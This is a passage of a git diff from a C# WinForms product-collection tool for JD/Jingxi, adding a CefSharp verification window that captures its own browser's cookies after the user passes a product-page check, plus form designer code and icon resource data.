P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hkr//6qB///f + 0P//+vj////+///////////////+//////////////////////////7///39///y6///0br//6h9//+K + UP//f0H//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///f0D//4hO//+q + gP//3s7///n3/////v///////////////////////////////////////////////v///fz//+zi//+3 + k///ilD//39A//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj9VAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P4j/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///gkT//5Nf//+4lf//3c3///Pt///7+f///fz///7+///9 + +///+vf///Lr///ezf//vp///6Bx//+LU///gUP//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4BC//+TX///upj//+LU///49f///f3////+///+ + /v///v7////+///+/f//+/j//+7m///Lsv//n3D//4RI//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/iQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Af9+ + P6T/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///f0D//4NG//+PWf//nm7//6h9//+uhv//rof//6yD//+lev//nGv//45X//+DRv//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+DR///k1///6qB///Ep///2MT//+LU///j1f//28r//820//+1kf//nGz//4lP//+A + Qf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P6T/fj8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Bv9+P7f/fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///f0D//4NG//+J + T///j1j//5Fb//+NVv//h0z//4BC//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj+3/34/BgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA/34/Bv9+P6X/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34/pf9+PwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Af9+P4z/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P4z/fj8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P1X/fj/x/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P/H/fj9VAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+ + PyT/fj/E/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/E/34/IwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PwH/fj9g/34/6/9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/r/34/YP9+PwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAD/fj8Q/34/f/9+P+3/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/t/34/f/9+PxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Df9+ + P3T/fj/V/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/V/34/dP9+ + Pw0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8z/34/jf9+P9f/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P9f/fj+N/34/MwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+Pxv/fj9U/34/ff9+P6X/fj/L/34/4/9+P/L/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/y/34/4/9+P8v/fj+l/34/ff9+P1T/fj8bAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA////AAAAAAAAAAAAAP//////+AAAAAAAAAAAAAAf/////8AAAAAAAAAA + AAAAA/////8AAAAAAAAAAAAAAAD////8AAAAAAAAAAAAAAAAP///+AAAAAAAAAAAAAAAAB////AAAAAA + AAAAAAAAAAAP///AAAAAAAAAAAAAAAAAA///gAAAAAAAAAAAAAAAAAH//wAAAAAAAAAAAAAAAAAA//4A + AAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//AAAAAAAAAAAAAAAAAAAP/gAAAAAAAAAAAAAAAAA + AB/wAAAAAAAAAAAAAAAAAAAP8AAAAAAAAAAAAAAAAAAAD+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAA + AAAAAAAHwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAAAAAABgAAAAAAA + AAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAAAAAH4AAAAAAA + AAAAAAAAAAAAB/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP+AAAAAAAAAAAAAAAAAAAH/wA + AAAAAAAAAAAAAAAAAD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAA + AP//gAAAAAAAAAAAAAAAAAH//8AAAAAAAAAAAAAAAAAD///wAAAAAAAAAAAAAAAAD///+AAAAAAAAAAA + AAAAAB////wAAAAAAAAAAAAAAAA/////AAAAAAAAAAAAAAAA/////8AAAAAAAAAAAAAAA//////4AAAA + AAAAAAAAAB///////wAAAAAAAAAAAAD///8= + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/JDVerifyForm/CollectVerifyForm.cs b/TEMUKJD/KJDForms/ToolForms/JDVerifyForm/CollectVerifyForm.cs new file mode 100644 index 0000000..44277fa --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/JDVerifyForm/CollectVerifyForm.cs @@ -0,0 +1,103 @@ +using AllBase; +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.ToolForms.JDVerify +{ + public partial class CollectVerifyForm : LRBaseForm + { + ChromiumWebBrowser cefWebBrowser1 = null; + public string url = ""; + public CollectVerifyForm() + { + InitializeComponent(); + } + + + private void Form1_Load(object sender, EventArgs e) + { + cefWebBrowser1 = new ChromiumWebBrowser(url); + cefWebBrowser1.BrowserSettings = new BrowserSettings { Plugins = CefState.Disabled }; + cefWebBrowser1.Dock = DockStyle.Fill; + panel1.Controls.Add(cefWebBrowser1); + cefWebBrowser1.FrameLoadEnd += CefWebBrowser1_FrameLoadEnd; + } + + private void CefWebBrowser1_FrameLoadEnd(object sender, FrameLoadEndEventArgs e) + { + if (e.Url.Contains("item.m.jd.com/product")) + { + GetCookies(); + + Action action = new Action(() => + { + Thread.Sleep(2000); + Work.CollectClass.JingXiCollect.VerifyCodeUrl = "";//验证之后,该值清空 + this.Close(); + }); + + Task.Factory.StartNew(() => + { + if (this.InvokeRequired) + this.Invoke(action); + else + action(); + + }); + + } + + } + + + /// + /// 获取cookies + /// + private void GetCookies() + { + cookies.Clear(); + var cookieManager = Cef.GetGlobalCookieManager(); + CookieVisitor visitor = new CookieVisitor(); + visitor.SendCookie += visitor_SendCookie; + cookieManager.VisitAllCookies(visitor); + } + + public List cookies = new List(); + /// + /// 加载完成时,重设cookies + /// + /// + private void visitor_SendCookie(CefSharp.Cookie obj) + { + cookies.Add(obj); + Console.WriteLine(obj.Name + "=" + obj.Value); + } + + } + public class CookieVisitor : CefSharp.ICookieVisitor + { + public event Action SendCookie; + public bool Visit(CefSharp.Cookie cookie, int count, int total, ref bool deleteCookie) + { + deleteCookie = false; + if (SendCookie != null) + { + SendCookie(cookie); + } + + return true; + } + public void Dispose() + { + + } + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/JDVerifyForm/CollectVerifyForm.designer.cs b/TEMUKJD/KJDForms/ToolForms/JDVerifyForm/CollectVerifyForm.designer.cs new file mode 100644 index 0000000..8ddb96e --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/JDVerifyForm/CollectVerifyForm.designer.cs @@ -0,0 +1,67 @@ +namespace LittleRabbit.LittleRabbitForms.ToolForms.JDVerify +{ + partial class CollectVerifyForm + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows 窗体设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + this.panel1 = new System.Windows.Forms.Panel(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(545, 500); + this.panel1.TabIndex = 2; + // + // CollectVerifyForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(545, 500); + this.Controls.Add(this.panel1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.ShowMaximizeBox = true; + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.Name = "CollectVerifyForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "京喜验证"; + this.TitleText = "京喜验证"; + this.Load += new System.EventHandler(this.Form1_Load); + this.Controls.SetChildIndex(this.panel1, 0); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + } +} + diff --git a/TEMUKJD/KJDForms/ToolForms/JDVerifyForm/CollectVerifyForm.resx b/TEMUKJD/KJDForms/ToolForms/JDVerifyForm/CollectVerifyForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/JDVerifyForm/CollectVerifyForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/KeywordsForms/KeywordsCatchFrom.Designer.cs b/TEMUKJD/KJDForms/ToolForms/KeywordsForms/KeywordsCatchFrom.Designer.cs new file mode 100644 index 0000000..3202407 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/KeywordsForms/KeywordsCatchFrom.Designer.cs @@ -0,0 +1,799 @@ + +namespace LittleRabbit.LittleRabbitForms.ToolForms.KeywordsForms +{ + partial class KeywordsCatchFrom + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(KeywordsCatchFrom)); + this.panel2 = new System.Windows.Forms.Panel(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnChangeFissionTitle = new DevComponents.DotNetBar.PanelEx(); + this.btnPicToContent = new DevComponents.DotNetBar.PanelEx(); + this.exportButtonX = new DevComponents.DotNetBar.PanelEx(); + this.btnPicToMain = new DevComponents.DotNetBar.PanelEx(); + this.newWordTextBox = new System.Windows.Forms.TextBox(); + this.wordReplaceButtonX = new DevComponents.DotNetBar.PanelEx(); + this.oldWordTextBox = new System.Windows.Forms.TextBox(); + this.participleButtonX = new DevComponents.DotNetBar.PanelEx(); + this.toSpecialButtonX = new DevComponents.DotNetBar.PanelEx(); + this.remDataButtonX = new DevComponents.DotNetBar.PanelEx(); + this.keyWordShortButtonX = new DevComponents.DotNetBar.PanelEx(); + this.toRepeatButtonX = new DevComponents.DotNetBar.PanelEx(); + this.removeEnglishButtonX = new DevComponents.DotNetBar.PanelEx(); + this.IrregularitiesButtonX = new DevComponents.DotNetBar.PanelEx(); + this.keyWordLengthButtonX = new DevComponents.DotNetBar.PanelEx(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.checkBox1 = new System.Windows.Forms.CheckBox(); + this.label14 = new System.Windows.Forms.Label(); + this.endPriceTextBox = new System.Windows.Forms.TextBox(); + this.startPriceTextBox = new System.Windows.Forms.TextBox(); + this.priceCheckBox = new System.Windows.Forms.CheckBox(); + this.titleLengthTextBox = new System.Windows.Forms.TextBox(); + this.titleLengthCheckBox = new System.Windows.Forms.CheckBox(); + this.btnCaptureTitleZc = new DevComponents.DotNetBar.PanelEx(); + this.btnCollectZc = new DevComponents.DotNetBar.PanelEx(); + this.txbSearchWord = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.descriptionTextBox = new DevComponents.DotNetBar.Controls.RichTextBoxEx(); + this.dataGridViewX1 = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colKeywords = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colFrequency = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colDel = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dataGridViewX1)).BeginInit(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.splitContainer1); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(0, 32); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(1280, 768); + this.panel2.TabIndex = 1; + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx2); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(1280, 768); + this.splitContainer1.SplitterDistance = 120; + this.splitContainer1.TabIndex = 0; + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.btnChangeFissionTitle); + this.ucGroupBoxEx2.Controls.Add(this.btnPicToContent); + this.ucGroupBoxEx2.Controls.Add(this.exportButtonX); + this.ucGroupBoxEx2.Controls.Add(this.btnPicToMain); + this.ucGroupBoxEx2.Controls.Add(this.newWordTextBox); + this.ucGroupBoxEx2.Controls.Add(this.wordReplaceButtonX); + this.ucGroupBoxEx2.Controls.Add(this.oldWordTextBox); + this.ucGroupBoxEx2.Controls.Add(this.participleButtonX); + this.ucGroupBoxEx2.Controls.Add(this.toSpecialButtonX); + this.ucGroupBoxEx2.Controls.Add(this.remDataButtonX); + this.ucGroupBoxEx2.Controls.Add(this.keyWordShortButtonX); + this.ucGroupBoxEx2.Controls.Add(this.toRepeatButtonX); + 